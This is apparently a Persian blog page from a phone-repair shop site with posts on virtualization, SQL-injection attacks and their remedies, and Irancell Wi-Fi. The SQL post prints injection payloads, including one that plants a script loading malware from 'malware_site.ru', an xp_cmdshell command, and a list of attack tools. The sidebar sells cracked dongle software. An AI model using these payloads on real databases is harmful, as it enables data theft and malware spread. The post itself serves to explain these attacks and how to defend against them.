• ورود و یا ثبت نام
به فروشگاه ما خوش امدید!  حساب کاربری من
مشهد آی سی
  • صفحه اصلی
  • فروشگاه
    • تخفیف ها
    • داشبورد
    • سبد خرید
    • تسویه حساب
  • نقشه های تعمیراتی
  • وبلاگ
  • درباره ما
    • برنامه موبایل سایت
    • تماس با ما و ثبت شکایت
    • خبرنامه
پیگیری سفارش :
تلفن 09381429697
  • ورود و یا ثبت نام

سبد خرید من -

۰ تومان
0
در سبد خرید 0 محصول وجود دارد
    مجموع : ۰ تومان
    سبد خرید
    تسویه حساب
    • مقایسه
    همه دسته بندی ها
    • هارد پروگرام شده
    • هارد خام
    • نرم افزاری های تعمیراتی
    • فایل های تعمیراتی
    • آی سی (ic)

    سبد خرید من -

    ۰ تومان
    0
    در سبد خرید 0 محصول وجود دارد
      مجموع : ۰ تومان
      سبد خرید
      تسویه حساب
      • مقایسه
      • خانه
      • وبلاگ

      نوشته‌های تازه

      • آشنایی با تکنولوژی‌های مجازی‌ساز
      • چگونه آسیب‌پذیری‌های درون بانک‌های اطلاعاتی را کشف و ترمیم کنیم؟
      • سرویس وای‌فای ایرانسل چیست؟
      • ویژگی تجمیع لینک در سوییچ‌ها چه قابلیتی ارائه می‌کند؟
      • چگونه ویندوز نصب کنیم؟

      آخرین دیدگاه‌ها

      • tanha66 در حذف frp و ترمیم سریال اسمارت l3953
      • moka در حذف frp و ترمیم سریال اسمارت l3953
      • tanha66 در کرک دانگل zxw
      • علیرضا شهنازی در کرک دانگل zxw
      • tanha66 در کرک دانگل zxw

      بایگانی‌ها

      • نوامبر 2020
      • اکتبر 2020
      • سپتامبر 2020
      • می 2020
      • آوریل 2020
      • مارس 2020
      • فوریه 2019
      • ژانویه 2017

      دسته‌ها

      • آموزش
      • اخبار سایت
      • وبلاگ

      اطلاعات

      • نام‌نویسی
      • ورود
      • خوراک ورودی‌ها
      • خوراک دیدگاه‌ها
      • وردپرس

      دسته‌ها

      • آموزش (۲)
      • اخبار سایت (۴)
      • وبلاگ (۶۰)

      پست های اخیر

      • آشنایی با تکنولوژی‌های مجازی‌ساز
      • چگونه آسیب‌پذیری‌های درون بانک‌های اطلاعاتی را کشف و ترمیم کنیم؟
      • سرویس وای‌فای ایرانسل چیست؟
      • ویژگی تجمیع لینک در سوییچ‌ها چه قابلیتی ارائه می‌کند؟
      • چگونه ویندوز نصب کنیم؟
      • تستر شبکه و سوییچ KVM چه کاری انجام می‌دهد؟

      بهترین پست ها

      کرک دانگل zxw

      کرک دانگل zxw

      ۸,۰۰۰ تومان ۵,۰۰۰ تومان
      نصب آسان باکس ufs3

      نصب آسان باکس ufs3

      ۸,۰۰۰ تومان ۵,۰۰۰ تومان
      کرک باکس EFT

      کرک باکس EFT Dongle Full Crack v1.4.1

      ۹,۰۰۰ تومان ۵,۰۰۰ تومان
      کرک UAT 7.01 بدون باکس

      کرک UAT 7.01 بدون باکس

      ۲۵,۰۰۰ تومان ۱۰,۰۰۰ تومان

      وبلاگ

      1604471544

      آشنایی با تکنولوژی‌های مجازی‌ساز

      نوشته شده توسط: مشهد آی سی ۱۴ آبان ۱۳۹۹ 0دیدگاه
      مجازی سازی یکی از راه هایی است که می تواند در کاهش هزینه ها کمک شایان نماید. از سوی دیگر با استفاده از تکنولوژی های مجازی ساز می توان قابلیت های یک سیستم را ارتقا داد و باعث شد تا امنیت در آن افزایش یابد. سیستم های مجازی ساز متعدد هستند که یکی از کاربردهای آن در مجازی سازی سرورها کاربرد دارد.

       در مجازی سازی لازم است تا با استفاده از نرم افزارهایی منابع را میان سرورهای مجازی مختلف تقسیم کرد. همین تقسیم منابع باعث می شود تا هزینه ها کاهش یابد. از جمله نرم افزارهای مجازی ساز می توان به ESXi، مایکروسافت Hyper Vو VMware vSphere اشاره نمود. در تمام این نرم افزارها تامین امنیت از جمله مشخصه های بسیار مهم به شمار می رود. در تصویر زیر مقایسه ای میان سرور فیزیکی و سرور مجازی مشخص شده است و این موضوع به تکنولوژی به کار رفته در آن ها بستگی دارد.

      تکنولوژی های مجازی ساز, مقایسه سرور مجازی و فیزیکی

      در مجازی سازی برای ایجاد یک سیستم واحد، سیستم عامل ها به صورت موازی بر یک سی پی یو به طور همزمان عمل می کنند. این موضوع نیز نوعی کاهش هزینه است. این مزیت همواره در همه ابعاد مجازی سازی دیده می شود. البته این کاهش هزینه در همه ابعاد چه فنی و چه در مصارف دیگر مانند مصرف برق و غیره نیز وجود دارد. اگر مجازی سازی گسترده تر شود نیاز است تا سخت افزارهای متعدد در کنار هم یک شبکه واحد را ایجاد می نمایند و خروجی می گیرند.

      انواع مجازی سازی در قالب فنی را می توان به سه بخش عمده تقسیم بندی کرد. مجازی سازی کامل، مجازی سازی ناقص و مجازی سازی تقلیدی این سه بخش را تشکیل می دهند. در مجازی سازی کامل بر روی یک سرور چند سیستم عامل به طور همزمان قابل اجرا هستند. همین موضوع در مجازی سازی تقلیدی اتفاق می افتد اما در مجازی سازی ناقص تقریبا اختصاصی شدن سیستم به صورت منفرد اتفاق می افتد.

      اما بر اساس کاربرد می توان گفت که مجازی سازی می تواند بر مبنای شبکه ، بر روی سرور و بر فضای ذخیره سازی ایجاد گردد. با توجه به این که سرورها منابع قدرتمندی هستند که با اتصال به آنها دسترسی به امکانات مختلفی محقق می شود، لذا مجازی سازی بر روی سرور یکی از ابعاد مهم این روش به شمار می رود.

      همانطور که در بالا اشاره شد نیاز است تا نرم افزارهایی برای مجازی سازی به کار رود. برخی دیگر از نرم افزارهایی که در این زمینه کاربرد دارند عبارتند از:

      Citrix XenServer –  Linux KVM –  Oracle VM Server – Virtuozzo  –  Proxmox VE  –  Red Hat Virtualization – VirtualBox –  Parallels – QEMU – bhyve

      با استفاده از مجازی سازی راحت تر می توان جزئیات یک سرور را مدیریت نمود.

      image bfbb6293670ea7f76e6aa3aee21172456a78d149

      ایده اصلی مجازی سازی چگونه شکل گرفت؟

      شاید بتوان گفت که عدم انطباق سخت افزارها با نرم افزارهای نصب شده باعث شد تا مجازی سازی این عدم انطباق را تا حد ممکن کاهش دهد. البته با استفاده از این روش ها می توان سخت افزارها را نیز بهینه سازی کرد. پس ایده مجازی سازی دارای ابعاد مختلفی است. استفاده از سخت افزار سیستم دیگر باعث می شود تا فرد بتواند به این واسطه قدرت بهره مندی از انواع سخت افزار را افزایش دهد. این موضوع در مجازی سازی اتفاق می افتد. مثالی در این زمینه مطرح می شود که می تواند به فهم موضوع و ایده ایجاد فناوری مجازی سازی کمک شایان نماید. فرض کنید مشخصات فنی کامپیوتر فرد به گونه ای نباشد که نرم افزاری خاص بر روی آن نصب نشود. زیرا مشخصات فنی مورد نیاز برای نصب بالاتر از مشخصات فنی کامپیوتر باشد. در این حالت با استفاده از مجازی سازی می توان این نرم افزار را نصب کرد و اقدامات مورد نیاز جهت بهره برداری از آن را انجام داد. مجازی سازی با استفاده از امکانات سرور قدرتمند این پوشش را فراهم می آورد.

      تاریخچه مجازی سازی

      شاید بتوان گفت که دهه ۹۰ میلادی آغاز ایجاد تفکر مجازی سازی بوده است. با گسترده شدن استفاده از تکنولوژی های مجازی ساز بسیاری از شرکتها تمایل خود را به استفاده از این روشها اعلام نموده و در انتهای دهه ۹۰ میلادی استفاده از این روش گستردگی یافت. در این میان بسیاری از شرکتها اعلام داشتند که تقریبا ۸۰ درصد هزینه های شرکت کاهش یافته اند. از سوی دیگر توان آزمایش های مجدد انواع اپلیکیشن ها نیز با استفاده از مجازی سازی امکان پذیر شد زیرا تکرار آزمایش ها هزینه بر می باشد و مجازی سازی این تکرارها را میسر ساخت. زمانی که هزینه ها کاهش یابد و بتوان انواع آزمایش ها را بر روی اپلیکیشن ها انجام داد و کار شرکت را بررسی مجدد نمود، یعنی بازدهی کار نیز افزایش می یابد. این اتفاقات زمانی حاصل شد که مجازی سازی به عنوان ابزاری قدرتمند از همان دهه ۹۰ برای شرکتها معرفی و شناخته شد. شاید پایه و شروع مجازی سازی از IT آغاز شد اما در طول زمان این موضوع به ابعاد گسترده تری وسعت یافت.

      چند مثال برای آشنایی بیشتر

      ساده ترین مثالی که برای مجازی سازی می توان بیان نمود همان نصب یک سیستم عامل بر روی سیستم عامل نصب شده اول است. یعنی بخشی از فضای سخت افزار به سیستم عامل دوم اختصاص داده شده است. هر دو سیستم عامل به طور همزمان قابلیت اجرا داشته و با تغییر سیستم عامل اهداف برنامه ریزی شده نیز اجرا می شوند.

      مثالی دیگر در این زمینه می تواند به نصب یک نرم افزار بر روی یک سیستم عامل و عدم نصب بر روی سیستم عامل دیگر باشد. یعنی زمانی که نمی توان بر روی یک سیستم عامل با مشخصات فنی مشخص نرم افزاری را نصب کرد، با مجازی سازی این امکان بر روی سیستم عامل دیگر انجام می شود.

      در پایان اشاره می نماییم که برای مجازی سازی می توان از مجازی سازی سرور، مجازی سازی دسکتاپ، مجازی سازی نرم افزار، مجازی سازی ورودی و خروجی، مجازی سازی شبکه، مجازی سازی دیتا و موارد دیگر استفاده کرد. نحوه استفاده از این روشها مشابه مواردی است که در بالا به آنها اشاره شده است.

      از کجا، یک سرور مجازی سازی شده خریداری کنیم؟

      یکی از سوالاتی که ممکن است برای شما به وجود آید این می باشد که از کجا می توانید یک سرور مجازی یا یک سروری که مطابق با استاندارد های مجازی سازی و با ابزار های مجازی ساز که بالاتر اشاره کردیم ساخته شده باشد تهیه کنید؛ ایران سرور ، یکی از شرکت هایی می باشد که می توانید با خرید VPS و سرور های مجازی سازی شده، وب سایتتان را روی آن آپلود کنید و به کاربرانتان نمایش دهید.

      بیشتر بخوانید
      1603604243

      چگونه آسیب‌پذیری‌های درون بانک‌های اطلاعاتی را کشف و ترمیم کنیم؟

      نوشته شده توسط: مشهد آی سی ۱۱ آبان ۱۳۹۹ 0دیدگاه
      بانک‌های اطلاعاتی قلپ تپنده معاملات تجاری (B2B2، B2C و….) در مقیاس کلان و خرد هستند و به سازمان‌ها اجازه می‌دهند به شکل صحیحی با مشتریان در تعامل باشند. در حالت کلی، بانک‌های اطلاعاتی داده‌های مشتریان، شماره کارت‌های اعتباری، گذرواژه‌ها و سایر داده‌های مهم و کلیدی را ذخیره می‌کنند. آن‌ها در طول روز به دفعات مورد استفاده قرار می‌گیرند و هدف بالقوه و مهمی به شمار می‌روند.

      تنها در یک نمونه کوچک آلبرت گونزالز در خلال سال‌های ۲۰۰۵ تا ۲۰۰۷ بر مبنای تکنیک حمله تزریق کد اس‌کیو‌ال اطلاعات حدود ۱۷۰ میلیون کارت اعتباری را از بانک‌های اطلاعاتی مختلف استخراج کرد. اگر بلیط هواپیما رزرو کرده‌اید، به رستورانی رفته‌اید و هزینه مربوطه را با کارت اعتباری خود پرداخت کرده‌اید یا هرگونه خرید اینترنتی انجام داده‌اید، در تمامی این موارد از یک بانک اطلاعاتی استفاده کرده‌اید که اطلاعات شخصی را در قالب رکوردهایی ذخیره و آماده دسترسی کرده است.


      برخی مواقع، هکرها به جای حمله مستقیم به بانک‌های اطلاعاتی به رابط‌های برنامه‌نویسی حمله می‌کنند که برای تعامل با بانک‌های اطلاعاتی استفاده می‌شوند. به‌طور مثال، ADO سرنامActiveX Data Objects  یک واسط برنامه‌نویسی است که به کاربران امکان ویرایش داده‌های ذخیره شده در بانک‌های اطلاعاتی را می‌دهد. همچنین معماری سرویس‌گرا (SOA) سرنام service-oriented architecture نیز وجود دارد که مجموعه‌ خدمات کاربردی را ارائه می‌کند. این سرویس‌ها با هدف متصل کردن داده‌ها به یکدیگر استفاده می‌شوند. بخش عمده‌ای از سرویس‌های وب به شکلی پیاده‌سازی می‌شوند تا دسترسی کاربران به آن‌ها از طریق پورتال‌های فرانت‌اند فراهم باشد. اجازه دهید قبل از آن‌که به سراغ حملات رایجی برویم که پایگاه‌های داده را هدف قرار می‌دهند به چند واقعیت مهم در ارتباط با بانک‌های اطلاعاتی اشاره‌ای داشته باشیم. بسته به سیستم مدیریت بانک اطلاعاتی (DBMS) که پیاده‌سازی شده، پایگاه‌های داده‌ می‌توانند متمرکز یا توزیعی باشند. از مهم‌ترین سامانه‌های مدیریت بانک‌های اطلاعاتی به موارد زیر می‌توان اشاره کرد:

      سیستم مدیریت پایگاه داده سلسله مراتبی (Hierarchical database management system): در این نوع پایگاه داده، پیوندها در یک ساختار درختی مرتب می‌شوند. هر رکورد می‌تواند تنها یک مالک داشته باشد و به همین دلیل در اغلب موارد یک پایگاه داده سلسله مراتبی را نمی‌توان برای ارتباط با ساختارهای موجود در دنیای واقعی استفاده کرد.

      سیستم مدیریت پایگاه داده شبکه‌ای (Network database management system): این نوع بانک اطلاعاتی انعطاف‌پذیرتر از پایگاه داده سلسله مراتبی است. مدل بانک اطلاعاتی شبکه‌ای مبتنی بر یک ساختار شبکه‌ای است. در یک چنین پایگاه داده‌ای هر رکورد می‌تواند چند والد و رکورد فرزند داشته باشد.

      سیستم مدیریت پایگاه داده رابطه‌ای (Relational database management system): این نوع بانک اطلاعاتی معمولاً مجموعه‌ای از جداول است که توسط کلیدهای اصلی و خارجی به یکدیگر مرتبط می‌شوند. بیشتر سازمان‌ها از نرم‌افزارهایی استفاده می‌کنند که بر مبنای بانک‌های اطلاعاتی رابطه‌ای طراحی شده‌اند. اکثر بانک‌های اطلاعاتی رابطه‌ای از SQL به عنوان زبان پرس‌و‌جو استفاده می‌کنند. دانشجویان رشته مهندسی نرم‌افزار به خوبی با این مدل بانک‌های اطلاعاتی آشنایی دارند، زیرا سرفصل‌های دروس بانک‌های اطلاعاتی دانشگاهی بر مبنای تعریف و مدیریت یک چنین بانک‌های اطلاعاتی تدوین شده‌اند.

      سیستم مدیریت پایگاه داده شی‌گرایی (Object-oriented database management system): این نوع بانک اطلاعاتی نسبتاً جدید است و برای غلبه بر برخی محدودیت‌های پایگاه‌های داده‌ای رابطه‌ای که توسط سازمان‌های بزرگ استفاده می‌شوند طراحی شده است. پایگاه‌های داده شی‌گرا از زبانی سطح بالا مانند SQL استفاده نمی‌کنند. این پایگاه‌های داده‌ بر مبنای معماری مدل‌سازی و ساخت داده‌ها به عنوان اشیا پشتیبانی می‌کنند.

      شناسایی سرورهای SQL

      امروزه در بیشتر دوره‌های آموزشی و مدارک بین‌المللی تمرکز بر بانک ‌اطلاعاتی Microsoft SQL است، اما آسیب‌پذیری‌ها در بانک‌های اطلاعاتی مختلف وجود دارد. جدول یک رایج‌ترین برنامه‌های پایگاه داده که به شکل گسترده توسط توسعه‌دهندگان و سازمان‌ها استفاده می‌شوند را نشان می‌دهد.

      پورتبانک اطلاعاتی
      ۱۵۲۱

      Oracle Net Listener

      ۱۴۳۴

      Microsoft SQL

      ۳۳۰۶

      MySQL

      پس از شناسایی یک پایگاه داده، مهاجم در اولین گام به سراغ یک فیلد نام حساب کاربری می‌رود تا آسیب‌پذیری‌های SQL را شناسایی کند. این مرحله گاهی اوقات علامت (tick) نامیده می‌شود. هکر با انجام محاوره‌ای نتیجه بازگشتی را بررسی می‌کند. به‌طور مثال، نتیجه برگشتی ممکن است چیزی شبیه به حالت زیر باشد:

      Microsoft OLE DB Provider for SQL Server error ‘80040e14’

      Unclosed quotation mark before the character string ‘ and Password=”.

      /login.asp, line 42

      هکر با مشاهده این پیغام و یک جست‌وجوی ساده متوجه می‌شود بانک‌اطلاعاتی مستعد حمله تزریق کد SQL است. در این مرحله هکر به سراغ اسکریپت‌های نرم‌افزار Nmap می‌رود. Nmap یکی از پر کاربردترین نرم‌افزارهای دنیای فناوری است که متخصصان دنیای شبکه و امنیت به شکل گسترده‌ای از آن استفاده می‌کنند. به‌طور مثال، اسکریپت زیر به سراغ فرم‌های موجود در وب‌سایت‌ها می‌رود و سعی می‌کند هر فیلد آسیب‌پذیری را شناسایی کند.

      nmap -sV –script=http-sql-injection <target>

      تزریق کد اس‌کیو‌ال زمانی اتفاق می‌افتد که مهاجم از آسیب‌پذیری‌های مستتر در بانک ‌اطلاعاتی برای وارد کردن دستورات SQL در  یک محاوره استفاده می‌کند و محاوره با موفقیت روی بانک‌اطلاعاتی اجرا می‌شود. تزریق کد SQL به مهاجم امکان می‌دهد از مزایای اجرای کدهای غیرایمن و مخرب روی یک سیستم به بهترین شکل استفاده کند و دستورات مدنظر خود را به شکل مستقیم به یک پایگاه داده انتقال دهد. در این حالت مهاجم قادر است از دسترسی خود برای انجام فعالیت‌های مختلف استفاده کند. سرورهای آسیب‌پذیر می‌توانند در برابر تزریق SQL از انجام فعالیت‌های عادی خود بازایستاده، از دسترس خارج شوند یا در سناریوهای بدتر، دستوراتی روی آن‌ها اجرا شود تا اطلاعات پایگاه داده استخراج شود. در موارد پیچیده‌تر هکرها ممکن است به جای استخراج یا از دست خارج کردن سرورها، به سراغ تحریف اطلاعات بروند و رکوردهای اطلاعاتی غیرواقعی را به جداول اضافه کنند. هکرها در چهار مرحله زیر به بانک‌های اطلاعاتی آسیب‌پذیر حمله می‌کنند:

      • ردیابی: هکرها از فناوری‌هایی برای شناسایی بانک‌های اطلاعاتی و پروتکل‌های استفاده شده توسط وب‌سایت‌ها استفاده می‌کنند.
      • شناسایی: نقاط ورودی مربوط به کاربر شناسایی می‌شود. این نقاط ورودی بیشتر فیلدهایی دریافت اطلاعات ورودی از کاربر هستند.
      • آزمایش: فیلدهای ورودی کاربر که مستعد حمله هستند شناسایی می‌شوند.
      • بهره‌برداری: بیت‌های اضافی یا به عبارت دقیق‌تر، دستورات مخرب در فیلدهای ورودی قرار می‌گیرند تا دستورات اجرایی روی سامانه قربانی اجرا شوند.

      سرپرستان بانک‌های اطلاعاتی برای آن‌که مطمئن شوند بانک‌های اطلاعاتی در برابر حملات تزریق کد اس‌کیو‌ال آسیب‌پذیر هستند یا خیر، باید به شکل دستی یا خودکار آن‌ها را آزمایش کنند. آزمایش به شیوه دستی به دانش فنی و تجربه زیاد نیاز دارد. روش دوم به‌کارگیری ابزارهای کشف آسیب‌پذیری‌ها است که از آن جمله می‌توان به اسکریپت‌های Nmap اشاره کرد.

      آسیب‌پذیری‌های تزریق SQL

      تزریق کد مخرب SQL یکی از شایع‌ترین بردارهای حمله است. تزریق یک علامت نقل قول همراه با کاراکترهای الفبا که منجر به خطایی در بانک اطلاعاتی یکی از مهم‌ترین تکنیک‌های مورد استفاده هکرها است. یک چنین حمله‌ای روی هر یک از فیلدهای ورودی قابل اجرا است. از مهم‌ترین تکنیک‌های تزریق کد مخرب اس‌کیو‌ال به موارد زیر می‌توان اشاره کرد:

      تزریق ساده SQL: از فقدان مکانیزم‌های اعتبارسنجی ورودی‌ها برای حمله استفاده می‌شود.

      تزریق کد مبتنی بر فرمان Union: در این تکنیک از فرمان UNION SELECT استفاده می‌شود. در این حمله سعی می‌شود از عملگر UNION  برای ترکیب نتایج دو یا چند فرمان SELECT در قالب یک نتیجه واحد استفاده شود. این تکنیک حمله عمدتا برای سرقت اطلاعات استفاده می‌شود.

      تزریق کد مبتنی بر خطا: در تکنیک فوق به عمد از عبارات ساختاری ضعیف استفاده می‌شود تا بانک اطلاعاتی مجبور شود برای پاسخ‌گویی نام جدول و اطلاعات دیگر پیغام‌های خطا را نشان دهد.

      تزریق کد غیر خوانا: این بردار حمله به‌نام تزریق کد استنتاجی نیز نامیده می‌شود. زمانی‌که مهاجمی می‌داند پایگاه داده مستعد تزریق کد مخرب است، اما طراحان بانک اطلاعاتی پیام‌های خطا یا بازخوردها را پنهان کرده‌اند و کدهای خطا یا بازخوردی دریافت نمی‌شود از این بردار حمله استفاده می‌کند. تکنیک فوق زمان‌بر است، با این حال، مهاجم سعی می‌کند حمله را با وارد کردن مجموعه‌ای از درخواست‌ها آزمایش کند. هکر با اجرای این حمله هیچ‌گونه اطلاعات خاصی دریافت نمی‌کند، بلکه جواب‌ها را تنها در حالت صحیح یا اشتباه دریافت می‌کند.

      سرورهای SQL به دلیل کدنویسی ضعیف، عدم اعتبارسنجی ورودی‌ها و عدم به‌روزرسانی و نصب وصله‌ها آسیب‌پذیر هستند، به همین دلیل سرپرستان بانک‌اطلاعاتی یا دپارتمان امنیت باید به عنوان بخشی از برنامه تست نفوذسنجی، وب‌سایت‌ها یا برنامه‌های وب‌محور را برای این مدل آسیب‌پذیری‌ها آزمایش کنند. از مهم‌ترین آسیب‌پذیری‌های پیرامون بانک‌های اطلاعاتی به موارد زیر می‌توان اشاره کرد:

      • عدم به‌کارگیری فرآیند پاک‌سازی یا فیلتر داده‌های ورودی کاربر (sanitization)
      • ترکیب ساختارهای کنترلی و داده‌ای در کانال انتقال یکسان

      برای درک بهتر حملات تزریق کد SQL باید شکل اصلی دستور SELECT را بررسی کنیم. دستور SELECT برای دریافت رکوردهای ذخیره شده در جداول بانک اطلاعاتی استفاده می‌شود. ترکیب نحوی به این شکل است که ابتدا کلیدواژه SELECT در ابتدای محاوره نوشته می‌شود و در ادامه بسته به اطلاعاتی که قرار است دریافت شوند، فیلدهای اطلاعاتی به همراه جداول تعیین می‌شوند. ساده‌ترین شکل به‌کارگیری فرمان فوق به شرح زیر است:

      SELECT * FROM Orders

      معنای کلی فرمان فوق این است که “من دوست دارم سرور SQL تمام سوابق موجود در جدولی به‌نام Orders را به من نشان دهد.” اکنون اجازه دهید کمی روی این دستور کار کرده و آن‌را دقیق‌تر کنیم:

      SELECT OrderID, FirstName, LastName FROM Orders

      این دستور محتوای درون ستون‌های OrderID ، FirstName و LastName جدول Orders را بازیابی و نتایج را نشان می‌دهد. زمانی‌که سعی کنید گزینه‌ها و فرمان‌های دیگری شبیه به WHERE (تنظیم یک جمله شرطی)، LIKE (تعیین شرطی که محتوایی شبیه به مقدار متغیر را بر می‌گرداند)، AND و OR (خود توضیحی) را به فرمان اصلی وارد کنید، اطلاعات به شکل دقیق‌تری بازگردانده می‌شوند:

      SELECT OrderID, FirstName, LastName FROM Orders WHERE LastName =’Smith’

      ساده‌ترین راه شناسایی آسیب‌پذیری تزریق SQL در یک بانک‌اطلاعاتی، اضافه کردن کاراکترهای غیر معتبر به یک مقدار پارامتری و تماشای خطاهای برنامه در پاسخ به محاوره است. کارشناسان امنیتی عمدتا از این روش برای تشخیص آسیب‌پذیری‌های یک بانک‌اطلاعاتی استفاده می‌کنند. رویکرد مبتنی بر ترکیب نحوی عملکرد مثبتی دارد، البته به شرطی که پیام‌های خطا نشان داده شوند و طراح از مکانیزم پنهان‌سازی پیام‌ها استفاده نکرده باشد. در صورت عدم نمایش پیام‌ها باید از تکنیک تزریق کد استنتاجی استفاده کرد. صرف‌نظر از تکنیک مورد استفاده باید کاراکتری را پیدا و در محاوره قرار داد تا پس از اجرا توسط بانک‌اطلاعاتی خطایی تولید کند و این خطا در قالب پاسخ از سرور دریافت شود. تنها در این صورت قادر به شناسایی و ترمیم آسیب‌پذیری تزریق کد هستید. در یک حمله تزریق کد ساده SQL، مهاجم ممکن است سعی کند رکوردهای موجود در بانک اطلاعاتی را تغییر داده یا رکوردهای جدیدی را اضافه کند. هکرها از روش‌های زیر برای اضافه، به‌روزرسانی یا کشف نام یک جدول استفاده می‌کنند:

      SELECT FirstName, LastName FROM Salesperson WHERE State = ”;

      INSERT INTO TABLE Users (‘username’) VALUES (‘mike’); –‘

      یا

      SELECT FirstName, LastName FROM Salesperson WHERE State = ”;

      UPDATE TABLE Users SET Salary=1500000 WHERE username=’mike’; –‘

      یک روش ساده برای شناسایی نام یک جدول

      blah’ AND 1+(SELECT COUNT(*) FROM mytable); —

      در نگاه اول ممکن است دستورات فوق چندان خطرناک نباشد، اما به قطعه کد زیر دقت کنید که چگونه یک هکر با تزریق کد اقدام به سرقت رکوردهای داده‌ای می‌کند:

      SELECT FirstName, LastName FROM Salesperson WHERE State = ”;

      SELECT * FROM TABLE CreditCards; –‘

      در موراد بحرانی‌تر، حمله ممکن است سرور SQL را مجبور به گسترش بدافزارها کند:

      SELECT FirstName, LastName FROM Salesperson WHERE State = ”;

      UPDATE TABLE Users SET MiddleName =

      ‘<script src=”http://malware_site.ru/malware.js“/>’; –‘

      در مثال بالا مهاجم از سرور SQL برای پخش بدافزار استفاده می‌کند. در این حالت، هنگامی که قربانی صفحه آلوده را مشاهده می‌کند، برنامه برچسب اسکریپت مخرب را از فایل بانک‌اطلاعاتی استخراج کرده و آن‌را به محتوای صفحه اضافه می‌کند. در ادامه مرورگر قربانی بدافزار را بازیابی و اجرا می‌کند و بارداده مخرب به سادگی روی سامانه او نصب می‌شود، بدون آن‌که قربانی کار خطرناکی انجام داده باشد. سرانجام، مهاجم ممکن است از طریق سرور SQL با سیستم‌عامل ارتباط برقرار کرده و به محیط شبکه دسترسی پیدا کند. هکرها عمدتا از دو تکنیک رایج برای این منظور استفاده می‌کنند که خواندن و نوشتن فایل‌های سیستمی از دیسک و اجرای مستقیم دستورات است. دستور زیر نمونه‌ای از این مدل دستورات است.

      exec master..xp_cmdshell ‘ping 192.168.123.254

      راهکار مقابله با حملات تزریق کد چیست؟

      بهترین راهکار مقابله با این مدل حملات، کد‌نویسی قوی، وصله‌ کردن آسیب‌پذیری‌های سیستمی و به‌کارگیری مکانیزم‌های احراز هویت قوی است. به عنوان سرپرست بانک‌اطلاعاتی باید اطمینان حاصل کنید تنها مجوزهای موردنیاز به کارمندان تخصیص داده شده و در زمان کدنویسی برنامه‌های کاربردی از مکانیزم‌های مدیریت خطا استفاده شده تا هر زمان سیستم خطایی را تشخیص داد، هیچ اطلاعات قابل استفاده‌ای در اختیار هکرها قرار نگیرد.

      ابزارهای در دسترس برای شناسایی و به‌کارگیری آسیب‌پذیری‌ها

      ابزارهای امنیتی کاربرد دوگانه دارند، زیرا هکرها و کارشناسان امنیتی به یک شکل از آن‌ها استفاده می‌کنند. از مهم‌ترین ابزارهای در دسترس در این زمینه به موارد زیر می‌توان اشاره کرد:

      •  SQLDict: ابزار فوق برای پیاده‌سازی یک حمله لغت‌نامه‌ای روی سرور SQL استفاده می‌شود تا کارشناسان امنیتی بتوانند ضعف‌های موجود را شناسایی کنند.
      •  SQLExec: دستوراتی که باعث می‌شوند مشکلات جدی یک سرور SQL نمایان شوند را اجرا می‌کند.
      •  SQLbf: بر مبنای حملات جست‌وجوی فراگیر و لغت‌نامه سعی می‌کند گذرواژه‌های ضعیف استفاده شده را نشان دهد.
      •  BSQL Hacker: یک ابزار تزریق خودکار SQL است.
      •  SQL2.exe: برای پیاده‌سازی یک حمله سرریزبافر UDP یک پنجره خط فرمان در اختیار هکر قرار می‌دهد.
      •  Marathon Tool: برای پیاده‌سازی حملات تزریق کد استنتاجی استفاده می‌شود.
      •  SQL Power Injector: برای بهره‌برداری از تزریق کد اس‌کیو‌ال استفاده می‌کند.
      •  Havij: برای جمع‌آوری نشانه‌های اولیه در ارتباط با بانک‌اطلاعاتی استفاده می‌شود و سعی می‌کند مواردی همچون گذرواژه‌ها، نام‌های لاگین DBMS و جداول dump را بازیابی کرده، به واکشی داده‌ها پرداخته، دستورات SQL را اجرا کرده و دسترسی به فایل‌های سیستمی را سرورهای SQL را فراهم کند.
      •  Absinthe: ابزار دیگری است که برای بهره‌برداری از اکسپلویت‌های SQL استفاده می‌شود.
      بیشتر بخوانید
      1603986216

      سرویس وای‌فای ایرانسل چیست؟

      نوشته شده توسط: مشهد آی سی ۱۰ آبان ۱۳۹۹ 0دیدگاه
      با استفاده از سرویس وای‌فای ایرانسل، می‌توانید در مناطق شلوغ یا فضاهای عمومی از قبیل پارک‌ها، مراکز خرید، فرودگاه‌ها و غیره به اینترنت وای‌فای پرسرعت ایرانسل دسترسی داشته باشید. در ادامه به نحوه‌ی استفاده از سرویس وای‌فای ایرانسل اشاره شده است.

      سرویس وای‌فای ایرانسل چیست؟

      • سرویس وای‌فای ایرانسل به همه شما کاربران ایرانسلی و غیرایرانسلی امکان می‌دهد در فضاهای عمومی که مجهز به وای‌فای ایرانسل هستند، به اینترنت پرسرعت ایرانسل دسترسی داشته باشید.

      استفاده از سرویس وای‌فای ایرانسل

      • برای استفاده از این سرویس کافیست شبکه وای‌فای ایرانسل را به شکلی که در ادامه توضیح داده شده روی گوشی خود فعال کنید.
      • پس از آن، با قرار گرفتن در مناطقی که تحت پوشش وای‌فای هستند به صورت خودکار به شبکه وای‌فای متصل می‌شوید.
      • با خروج از منطقه تحت پوشش این سرویس، به صورت خودکار دوباره به شبکه اینترنت همراه گوشی خود وصل می‌شوید.

      مناطق قابل دسترسی به سرویس وای‌فای ایرانسل

      • سرویس انتقال به وای‌فای ایرانسل در حال حاضر در مجموعه تفریحی ورزشی توچال قابل دسترسی است و به زودی در مراکز خدمات ایرانسل و برخی از اماکن عمومی در اختیار شما قرار می‌گیرد.

      روش اتصال به ایستگاه وای‌فای ایرانسل (Wi-Fi Hotspot)

      برای اتصال به اینترنت پرسرعت وای‌فای ایرانسل مراحل زیر را انجام دهید:

      ۱. وای‌فای گوشی خود را روشن کنید.

      ۲. در بین نام وای‌فای‌های ظاهرشده،IRANCELL_WiFi  را انتخاب کنید.

      ۳. حالا صفحه ورود وای‌فای ایرانسل را مشاهده خواهید کرد (اگر موفق به مشاهده این صفحه نشدید، وارد مرورگر کروم شوید و نشانی یک سایت اینترنتی را وارد کنید).

      ۴. اگر قبلا رمز وای‌فای ایرانسل خود را دریافت کرده‌اید و آن را به خاطر دارید، می‌توانید وارد پورتال شوید. در غیر این صورت، از طریق راهنمای زیر رمز خود را دریافت کنید:

      • گزینه «رمز عبور را فراموش کرده‌اید؟» را انتخاب کنید.
      • رمز ورود با پیامک برای شما ارسال می‌شود.
      • گزینه «ثبت‌نام» را انتخاب کنید.
      • Wi Fi ایرانسل1 0
        • شماره تلفن همراه و کد ملی خود را وارد کنید.
        • رمز یکبار مصرفی که از طریق پیامک برای شما ارسال شده را در قسمت مربوط وارد کنید.
        • رمز نهایی از طریق پیامک برای شما ارسال می‌شود.
